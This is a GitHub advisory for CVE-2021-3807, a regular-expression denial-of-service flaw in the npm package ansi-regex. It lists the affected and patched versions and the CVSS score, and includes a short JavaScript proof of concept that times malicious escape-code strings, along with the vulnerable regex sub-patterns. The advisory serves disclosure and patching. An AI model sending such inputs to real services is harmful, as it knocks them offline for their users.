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Inefficient Regular Expression Complexity in chalk/ansi-regex

High severity GitHub Reviewed Published Sep 20, 2021 to the GitHub Advisory Database • Updated Sep 21, 2023

Package

npm ansi-regex (npm)

Affected versions

>= 6.0.0, < 6.0.1
>= 5.0.0, < 5.0.1
>= 4.0.0, < 4.1.1
>= 3.0.0, < 3.0.1

Patched versions

6.0.1
5.0.1
4.1.1
3.0.1

Description

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

References

Published by the National Vulnerability Database Sep 17, 2021
Reviewed Sep 20, 2021
Published to the GitHub Advisory Database Sep 20, 2021
Last updated Sep 21, 2023

Severity

High
7.5
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Weaknesses

CVE ID

CVE-2021-3807

GHSA ID

GHSA-93q8-gq69-wqmw

Source code

Credits

Checking history
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